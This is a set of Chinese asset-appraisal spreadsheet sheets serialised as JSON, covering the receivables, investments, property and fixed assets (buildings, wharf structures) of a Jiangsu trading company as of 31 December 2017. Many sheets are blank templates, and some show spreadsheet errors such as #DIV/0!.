["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","被投资单位名称","投资类别","投资日期","到期日","票面利率%","投资成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合            计",{"$nulls":6},0,0,0,""]
["减：持有至到期投资减值准备",{"$nulls":9},""]
["合   　 计",{"$nulls":6},0,0,0,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-3长期应收","index":40,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[2,7,2,8],[3,7,3,8],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["长期应收款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","欠款单位名称（结算对象)","业务内容","发生日期","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[]
[]
[]
[]
[]
[]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
["合            计",{"$nulls":3},0,0,0,""]
["减：长期应收款坏账准备",{"$nulls":6},""]
["合   　  计",{"$nulls":3},0,0,0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-4股权投资","index":41,"n_rows":30,"n_cols":11,"rows_kept":30,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[2,9,2,10],[3,9,3,10],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["长期股权投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表4-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","被投资单位名称","投资日期","协议投资期限","持股比例（%）","投资成本","账面价值","评估价值","增减值","增值率%","备注"]
[1,"九江瑞昌口岸有限责任公司",{"$nulls":7},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
["合         计",{"$nulls":5},0,0,0,""]
["减：长期股权投资减值准备",{"$nulls":8},""]
["合         计",{"$nulls":5},0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-5投资性房地产汇总","index":42,"n_rows":22,"n_cols":10,"rows_kept":22,"hidden":true,"merged":[[0,0,0,9],[1,0,1,9],[2,7,2,9],[3,6,3,9],[4,0,5,0],[4,1,5,1],[4,2,4,3],[4,4,4,5],[4,6,4,7],[4,8,4,9],[18,0,18,1],[19,0,19,1],[20,0,20,1]],"flags":["formulas_cached_only"]}
["投资性房地产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","账面价值",null,"评估价值",null,"增值额",null,"增值率%"]
[null,null,"原值","净值","原值","净值","原值","净值","原值","净值"]
["4-5-1","投资性房地产——房屋(成本模式计量)",0,0,0,0,null,null,"",""]
["4-5-2","投资性房地产——房屋(公允价值模式计量)",0,0,0,0,null,null,"",""]
["4-5-3","投资性房地产——土地使用权(成本模式计量)",0,0,0,0]
["4-5-4","投资性房地产——土地使用权(公允价值模式计量)",0,0,0,0,null,null,"",""]
[]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[]
[]
[]
["合计",null,0,0,0,0,null,null,"",""]
["减：固定资产减值准备",null,0,0,0,0,null,null,"",""]
["合计",null,0,0,0,0,null,null,"",""]
[{"$nulls":6},"评估人员：孙倩华、凌伟"]

{"sheet":"4-5-1投资性房地产","index":43,"n_rows":29,"n_cols":17,"rows_kept":29,"hidden":true,"merged":[[0,0,0,16],[1,0,1,16],[2,0,2,16],[3,14,3,16],[4,14,4,16],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,5,10],[5,11,5,13],[5,14,6,14],[5,15,6,15],[5,16,6,16],[24,0,24,2],[25,0,25,2],[26,0,26,2]],"flags":["formulas_cached_only"]}
["投资性房地产——房屋评估明细表"]
["（采用成本模式计量）"]
["评估基准日：2017年12月31日"]
[{"$nulls":14},"表4-5-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","权证编号","房屋名称","来源（外购、自建、自用转入、存货转入等）","结构","建成\n年月","计量单位","建筑面积","成本单价(元/m2)","账面价值",null,"评估价值",null,null,"增值率%","评估单价(元/m2)","备注"]
[{"$nulls":9},"原值","净值","原值","成新率%","净值"]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[]
[]
[]
[]
[]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":14},""]
["合            计",{"$nulls":7},"",0,0,0,null,0,""]
["减：投资性房地产减值准备",{"$nulls":13},""]
["合      计",{"$nulls":8},0,0,0,null,0,""]
["被评估单位填表人：",{"$nulls":12},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-5-2投资性房地产","index":44,"n_rows":27,"n_cols":18,"rows_kept":27,"hidden":true,"merged":[[0,0,0,15],[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,10],[5,11,6,11],[5,12,6,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[5,16,6,16],[5,17,6,17],[7,9,7,10],[8,9,8,10],[9,9,9,10],[10,9,10,10],[11,9,11,10],[12,9,12,10],[13,9,13,10],[14,9,14,10],[15,9,15,10],[16,9,16,10],[17,9,17,10],[18,9,18,10],[19,9,19,10],[20,9,20,10],[21,9,21,10],[22,9,22,10],[23,9,23,10],[24,0,24,2],[24,9,24,10]],"flags":["formulas_cached_only"]}
["投资性房地产——房屋评估明细表"]
["（采用公允价值模式计量）"]
["评估基准日：2017年12月31日"]
[{"$nulls":15},"表4-5-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","权证编号","房屋名称","来源（外购、自建、自用转入、存货转入等）","结构","建成\n年月","计量单位","建筑          面积","成本单价(元/m2)","原始入帐价值    （转入日公允价值）",null,"账面价值","评估价值","增减值","增值率%","备注","现场勘察简单记录","证载权利人"]
[]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[]
[]
[]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":8},"",{"$nulls":5},""]
[{"$nulls":14},""]
["合            计",{"$nulls":7},"",null,null,0,0,0,""]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-5-3投资性地产","index":45,"n_rows":28,"n_cols":17,"rows_kept":28,"hidden":true,"merged":[[0,0,0,16],[1,0,1,16],[2,0,2,16],[3,15,3,16],[23,0,23,2],[24,0,24,2],[25,0,25,2]],"flags":["formulas_cached_only"]}
["投资性房地产——土地使用权评估明细表"]
["（采用成本模式计量）"]
["评估基准日：2017年12月31日"]
[{"$nulls":15},"表4-5-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","来源（外购、自建、自用转入、存货转入等）","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值","账面价值","评估价值","增减值","增值率%","备注"]
{"$rows_empty":17}
["合            计",{"$nulls":8},"",null,null,0,0,0,null,""]
["减：投资性房地产减值准备",{"$nulls":15},""]
["合      计",{"$nulls":11},0,0,0,null,""]
["被评估单位填表人：",{"$nulls":12},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-5-4投资性地产","index":46,"n_rows":29,"n_cols":17,"rows_kept":29,"hidden":true,"merged":[[0,0,0,16],[1,0,1,16],[2,0,2,16],[26,0,26,4]],"flags":["formulas_cached_only"]}
["投资性房地产——土地使用权评估明细表"]
["（采用公允价值模式计量）"]
["评估基准日：2017年12月31日"]
[{"$nulls":16},"表4-5-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","来源（外购、自建、自用转入、存货转入等）","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值（转入日公允价值）","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[]
[]
[]
[]
[{"$nulls":15},""]
[]
[]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[{"$nulls":15},""]
[]
["合         计",{"$nulls":11},0,0,0,""]
["被评估单位填表人：",{"$nulls":12},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-6固定资产汇总","index":47,"n_rows":15,"n_cols":10,"rows_kept":15,"merged":[[0,0,0,9],[1,0,1,9],[2,7,2,9],[3,6,3,9],[4,0,5,0],[4,1,5,1],[4,2,4,3],[4,4,4,5],[4,6,4,7],[4,8,4,9],[9,0,9,1],[10,0,10,1],[11,0,11,1]],"flags":["formulas_cached_only"]}
["固定资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","账面价值",null,"评估价值",null,"增减值",null,"增值率%"]
[null,null,"原值","净值","原值","净值","原值","净值","原值","净值"]
[]
["4-6-5","固定资产-车辆",{"v":278100,"d":"278,100.00"},{"v":18249.95,"d":"18,249.95"},{"v":150000,"d":"150,000.00"},{"v":22500,"d":"22,500.00"},{"v":-128100,"d":"-128,100.00"},{"v":4250.05,"d":"4,250.05"},-46.06,23.29]
["4-6-6","固定资产-电子设备",{"v":51126.24,"d":"51,126.24"},{"v":1665.93,"d":"1,665.93"},{"v":16100,"d":"16,100.00"},{"v":1260,"d":"1,260.00"},{"v":-35026.24,"d":"-35,026.24"},-405.93,-68.51,-24.37]
["固定资产合计",null,{"v":329226.24,"d":"329,226.24"},{"v":19915.88,"d":"19,915.88"},{"v":166100,"d":"166,100.00"},{"v":23760,"d":"23,760.00"},{"v":-163126.24,"d":"-163,126.24"},{"v":3844.12,"d":"3,844.12"},-49.55,{"v":19.3,"d":"19.30"}]
["减：固定资产减值准备",null,0,0,0,0,null,null,"",""]
["固定资产合计",null,{"v":329226.24,"d":"329,226.24"},{"v":19915.88,"d":"19,915.88"},{"v":166100,"d":"166,100.00"},{"v":23760,"d":"23,760.00"},{"v":-163126.24,"d":"-163,126.24"},{"v":3844.12,"d":"3,844.12"},-49.55,{"v":19.3,"d":"19.30"}]
[{"$nulls":4},"评估人员：孙倩华、凌伟"]
[]
[{"$nulls":3},{"v":309310.36,"d":"309,310.36"}]

{"sheet":"4-6-1房屋建筑物","index":48,"n_rows":25,"n_cols":16,"rows_kept":25,"hidden":true,"merged":[[0,0,0,14],[1,0,1,15],[2,14,2,15],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,4,9],[4,10,4,12],[4,13,5,13],[4,14,5,14],[4,15,5,15],[20,0,20,2],[21,0,21,2],[22,0,22,2]],"flags":["formulas_cached_only"]}
["固定资产—房屋建筑物评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":14},"表4-6-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","权证编号","建筑物名称","结构","建成\n年月","计量单位","建筑面积体积           m2或m3","成本单价(元/m2)","账面价值",null,"评估价值",null,null,"增值率%","评估单价(元/m2)","备注"]
[{"$nulls":8},"原值","净值","原值","成新率%","净值"]
[1,null,"2号桥门卫房","框架","2016-08-01","㎡",9.45,2645.50264550265,{"v":25000,"d":"25,000.00"},null,{"v":11827,"d":"11,827.00"}]
[2,null,"临时配电房","砖混结构","2014-04-01","㎡",61.92,1369.74160206718,{"v":84814.4,"d":"84,814.40"},null,{"v":45760,"d":"45,760.00"}]
[3,null,"公用码头1#引桥门卫房","框架","2015-09-01","㎡",{"v":14,"d":"14.00"},3000,{"v":42000,"d":"42,000.00"},null,{"v":17766,"d":"17,766.00"}]
[4,null,"公用码头3#引桥门卫房","框架","2015-12-01","㎡",9.45,2645.50264550265,{"v":25000,"d":"25,000.00"},null,{"v":11421,"d":"11,421.00"}]
[5,null,"1#变电所","框架","2014-11-01","㎡",103.52,5704.59022411128,{"v":590539.18,"d":"590,539.18"},null,{"v":104814,"d":"104,814.00"}]
[6,null,"2#变电所","框架","2014-11-01","㎡",103.52,5704.59022411128,{"v":590539.18,"d":"590,539.18"},null,{"v":104814,"d":"104,814.00"}]
[]
[]
[]
[]
[]
[]
[{"$nulls":7},"",{"$nulls":5},""]
[{"$nulls":7},"",{"$nulls":5},""]
["合     计",{"$nulls":7},{"v":1357892.76,"d":"1,357,892.76"},0,{"v":296402,"d":"296,402.00"},null,0,""]
["减：房屋建筑物减值准备"]
["合     计",{"$nulls":7},{"v":1357892.76,"d":"1,357,892.76"},0,{"v":296402,"d":"296,402.00"},null,0]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"房屋建筑物计算表","index":49,"n_rows":16,"n_cols":29,"rows_kept":16,"hidden":true,"merged":[[0,0,0,27],[1,6,1,16],[2,0,2,3],[2,25,2,27],[3,0,5,0],[3,1,5,1],[3,2,5,2],[3,3,5,3],[3,4,5,4],[3,5,5,5],[3,6,5,6],[3,7,5,7],[3,8,3,12],[3,13,5,13],[3,14,5,14],[3,15,5,15],[3,16,5,16],[3,17,5,17],[3,18,3,26],[3,27,5,27],[4,8,4,9],[4,10,4,11],[4,12,5,12],[4,18,4,21],[4,22,5,22],[4,23,5,23],[4,24,5,24],[4,25,5,25],[4,26,5,26],[15,0,15,4]],"flags":["formulas_cached_only"]}
["房屋建筑物(成本法)评估计算过程汇总表"]
[{"$nulls":6},0]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},{"v":6977.93,"d":"6,977.93"},{"$nulls":8},"索引号：C—17—20",null,null,"2018-04-30"]
["序号","房产证号","建筑物名称","结构","竣工时间","面积(m2)","单位造价","工程总造价","配套规费",{"$nulls":4},"建设期(天)"," 贷款利率(一年期)","建设期资金成本","重置成本合计","单位重置成本元/M2","成新率%",{"$nulls":8},"评估净值"]
[{"$nulls":8},"按面积计",null,"按投资额计",null,"合计",{"$nulls":5},"理论成新率",{"$nulls":3},"勘察成新率","经济性贬值","功能性贬值","综合成新率","评估确定成新率"]
[{"$nulls":8},"费率","金额","费率","金额",{"$nulls":6},"已使用年","尚可使用年","经济年限","年限成新率"]
[1,null,"2号桥门卫房","框架","2016-08-01",12.13,{"v":975,"d":"975.00"},{"v":11826.75,"d":"11,826.75"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":11827,"d":"11,827.00"},975.02,1.75,58.25,60,{"v":0.97,"d":"97.00%"},{"v":0.92,"d":"92%"},null,null,{"v":0.94,"d":"94%"},{"v":0.94,"d":"94%"},{"v":11117.38,"d":"11,117.38"}]
[2,null,"临时配电房","砖混结构","2014-04-01",{"v":57.2,"d":"57.20"},{"v":800,"d":"800.00"},{"v":45760,"d":"45,760.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":45760,"d":"45,760.00"},{"v":800,"d":"800.00"},4.08,45.92,50,{"v":0.92,"d":"92.00%"},{"v":0.87,"d":"87%"},null,null,{"v":0.89,"d":"89%"},{"v":0.89,"d":"89%"},{"v":40726.4,"d":"40,726.40"}]
[3,null,"公用码头1#引桥门卫房","框架","2015-09-01",19.74,{"v":900,"d":"900.00"},{"v":17766,"d":"17,766.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":17766,"d":"17,766.00"},{"v":900,"d":"900.00"},2.66,57.34,60,{"v":0.96,"d":"96.00%"},{"v":0.91,"d":"91%"},null,null,{"v":0.93,"d":"93%"},{"v":0.93,"d":"93%"},{"v":16522.38,"d":"16,522.38"}]
[4,null,"公用码头3#引桥门卫房","框架","2015-12-01",12.69,{"v":900,"d":"900.00"},{"v":11421,"d":"11,421.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":11421,"d":"11,421.00"},{"v":900,"d":"900.00"},2.41,57.59,60,{"v":0.96,"d":"96.00%"},{"v":0.91,"d":"91%"},null,null,{"v":0.93,"d":"93%"},{"v":0.93,"d":"93%"},{"v":10621.53,"d":"10,621.53"}]
[5,null,"1#变电所","框架","2014-11-01",103.52,{"v":1012.5,"d":"1,012.50"},{"v":104814,"d":"104,814.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":104814,"d":"104,814.00"},{"v":1012.5,"d":"1,012.50"},3.5,56.5,60,{"v":0.94,"d":"94.00%"},{"v":0.89,"d":"89%"},null,null,{"v":0.91,"d":"91%"},{"v":0.91,"d":"91%"},{"v":95380.74,"d":"95,380.74"}]
[6,null,"2#变电所","框架","2014-11-01",103.52,{"v":1012.5,"d":"1,012.50"},{"v":104814,"d":"104,814.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":104814,"d":"104,814.00"},{"v":1012.5,"d":"1,012.50"},3.5,56.5,60,{"v":0.94,"d":"94.00%"},{"v":0.89,"d":"89%"},null,null,{"v":0.91,"d":"91%"},{"v":0.91,"d":"91%"},{"v":95380.74,"d":"95,380.74"}]
[]
[]
[]
["合         计",{"$nulls":4},308.8,null,{"v":296401.75,"d":"296,401.75"},null,"***",null,"***",0,"***","***",0,{"v":296402,"d":"296,402.00"},"***","***","***","***","***","***",null,null,"***","***",{"v":269749.17,"d":"269,749.17"}]

{"sheet":"4-6-2构筑物","index":50,"n_rows":27,"n_cols":18,"rows_kept":27,"hidden":true,"merged":[[0,0,0,17],[1,0,1,17],[2,15,2,17],[3,14,3,17],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,4,11],[4,12,4,14],[4,15,5,15],[4,16,5,16],[4,17,5,17],[7,12,13,12],[22,0,22,2],[23,0,23,2],[24,0,24,2]],"flags":["formulas_cached_only"]}
["固定资产—构筑物及其他辅助设施评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":15},"表4-6-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号"," 名称","结构","建成\n年月","长度\n(m)","宽度\n(m)","计量单位","面积体积m2或m3","账面价值",{"$nulls":3},"评估价值",null,null,"增值率%","评估单价(元/m2)","备注"]
[{"$nulls":8},"原值","利息","工程费用","净值","原值","成新率%","净值"]
[1,"铝合金岸标（1）","钢结构","2016-06-01","高12.2m","φ1.2m","座",1,{"v":213675.21,"d":"213,675.21"},{"$nulls":3},{"v":213675,"d":"213,675.00"},null,null,""]
[2,"地磅基础","混凝土","2016-08-01",9.06,{"v":3.2,"d":"3.20"},"项",1,{"v":26000,"d":"26,000.00"},{"$nulls":3},{"v":139423522,"d":"139,423,522.00"},null,null,""]
[3,"码头平台","混凝土","2015-08-01",null,null,"项",1,{"v":88000,"d":"88,000.00"},{"$nulls":6},""]
[4,"散货平台","混凝土","2015-01-01",{"v":230,"d":"230.00"},{"v":25,"d":"25.00"},"项",1,{"v":35525776.99,"d":"35,525,776.99"},{"$nulls":6},""]
[5,"件杂平台","混凝土","2015-01-01",{"v":220,"d":"220.00"},{"v":25,"d":"25.00"},"项",1,{"v":49837658.7,"d":"49,837,658.70"},{"$nulls":6},""]
[6,"1#引桥","混凝土","2014-12-01",{"v":249.8,"d":"249.80"},{"v":16,"d":"16.00"},"㎡",{"v":3996.8,"d":"3,996.80"},{"v":13106396.77,"d":"13,106,396.77"},{"$nulls":6},""]
[7,"2#引桥","混凝土","2014-12-01",{"v":288.6,"d":"288.60"},{"v":12,"d":"12.00"},"㎡",{"v":3463.2,"d":"3,463.20"},{"v":11236831.73,"d":"11,236,831.73"},{"$nulls":6},""]
[8,"3#引桥","混凝土","2014-12-01",{"v":318.4,"d":"318.40"},{"v":12,"d":"12.00"},"㎡",{"v":3820.8,"d":"3,820.80"},{"v":12397114.43,"d":"12,397,114.43"},{"$nulls":6},""]
[9,"检疫区场地",null,"2014-12-01",null,null,"项",1,{"v":170925.14,"d":"170,925.14"},{"$nulls":3},{"v":170925,"d":"170,925.00"}]
[10,"检疫区查验平台",null,"2014-12-01",null,null,"项",1,{"v":5459,"d":"5,459.00"},{"$nulls":3},{"v":5459,"d":"5,459.00"},null,null,""]
[11,"检疫区喷淋棚",null,"2014-12-01",null,null,"项",1,{"v":40660,"d":"40,660.00"},{"$nulls":3},{"v":40660,"d":"40,660.00"}]
[]
[]
[]
[]
[]
["合     计",{"$nulls":7},{"v":122648497.97,"d":"122,648,497.97"},0,0,null,{"v":139854241,"d":"139,854,241.00"},null,0]
["减：构筑物及其他辅助设施减值准备"]
["合     计",{"$nulls":7},{"v":122648497.97,"d":"122,648,497.97"},0,0,null,{"v":139854241,"d":"139,854,241.00"},null,0,0]
["被评估单位填表人：",{"$nulls":13},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-6-3管道沟槽","index":51,"n_rows":29,"n_cols":15,"rows_kept":29,"hidden":true,"merged":[[0,0,0,14],[1,0,1,14],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,4,9],[4,10,4,12],[4,13,5,13],[4,14,5,14],[24,0,24,2],[25,0,25,2],[26,0,26,2]],"flags":["formulas_cached_only"]}
["固定资产—管道和沟槽评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":14},"表4-6-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号"," 名称","长度\n(m)","漕深\n(m)","沟宽*沟厚(mm*mm)\n管径*壁厚(mm*mm)","材质","绝缘方式","建成年月","账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":8},"原值","净值","原值","成新率%","净值"]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
["合     计",{"$nulls":6},"",0,0,0,null,0,""]
["减：管道和沟槽减值准备"]
["合     计",{"$nulls":7},0,0,0,null,0,0]
["被评估单位填表人：",{"$nulls":10},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"构筑物计算表","index":52,"n_rows":19,"n_cols":29,"rows_kept":19,"hidden":true,"merged":[[0,0,0,27],[1,6,1,16],[2,0,2,3],[2,25,2,27],[3,0,5,0],[3,1,5,1],[3,2,5,2],[3,3,5,3],[3,4,5,4],[3,5,5,5],[3,6,5,6],[3,7,5,7],[3,8,3,12],[3,13,5,13],[3,14,5,14],[3,15,5,15],[3,16,5,16],[3,17,5,17],[3,18,3,26],[3,27,5,27],[4,8,4,9],[4,10,4,11],[4,12,5,12],[4,18,4,21],[4,22,5,22],[4,23,5,23],[4,24,5,24],[4,25,5,25],[4,26,5,26],[18,0,18,4],[19,0,19,2],[19,12,19,15],[19,22,19,27],[20,0,20,5],[20,12,20,15],[20,22,20,27]],"flags":["formulas_cached_only"]}
["房屋建筑物(成本法)评估计算过程汇总表"]
[{"$nulls":6},0]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},{"v":126068.25,"d":"126,068.25"},{"$nulls":8},"索引号：C—17—20",null,null,"2018-04-30"]
["序号","房产证号","建筑物名称","结构","竣工时间","面积(m2)","单位造价","工程总造价","配套规费",{"$nulls":4},"建设期(天)"," 贷款利率(一年期)","建设期资金成本","重置成本合计","单位重置成本元/M2","成新率%",{"$nulls":8},"评估净值"]
[{"$nulls":8},"按面积计",null,"按投资额计",null,"合计",{"$nulls":5},"理论成新率",{"$nulls":3},"勘察成新率","经济性贬值","功能性贬值","综合成新率","评估确定成新率"]
[{"$nulls":8},"费率","金额","费率","金额",{"$nulls":6},"已使用年","尚可使用年","经济年限","年限成新率"]
[1,null,"铝合金岸标（1）","钢结构","2016-06-01",{"v":1,"d":"1.00"},{"v":213675.21,"d":"213,675.21"},{"v":213675.21,"d":"213,675.21"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":213675,"d":"213,675.00"},{"v":213675,"d":"213,675.00"},1.91,48.09,50,{"v":0.96,"d":"96.00%"},{"v":0.91,"d":"91%"},null,null,{"v":0.93,"d":"93%"},{"v":0.93,"d":"93%"},{"v":198717.75,"d":"198,717.75"}]
[2,null,"地磅基础","混凝土","2016-08-01",{"v":1,"d":"1.00"},null,0,null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,0,0,1.75,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[3,null,"码头平台","混凝土","2015-08-01",{"v":1,"d":"1.00"},{"v":88000,"d":"88,000.00"},{"v":120516284.28,"d":"120,516,284.28"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":120516284,"d":"120,516,284.00"},{"v":120516284,"d":"120,516,284.00"},2.75,57.25,60,{"v":0.95,"d":"95.00%"},{"v":0.9,"d":"90%"},null,null,{"v":0.92,"d":"92%"},{"v":0.92,"d":"92%"},{"v":110874981.28,"d":"110,874,981.28"}]
[null,null,"散货平台","混凝土","2015-01-01",{"v":1,"d":"1.00"},{"v":35525776.99,"d":"35,525,776.99"},{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},null,0,0,3.33,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[null,null,"件杂平台","混凝土","2015-01-01",{"v":1,"d":"1.00"},{"v":49837658.7,"d":"49,837,658.70"},{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},null,0,0,3.33,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[null,null,"1#引桥","混凝土","2014-12-01",{"v":3996.8,"d":"3,996.80"},{"v":13106396.77,"d":"13,106,396.77"},{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},null,0,0,3.41,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
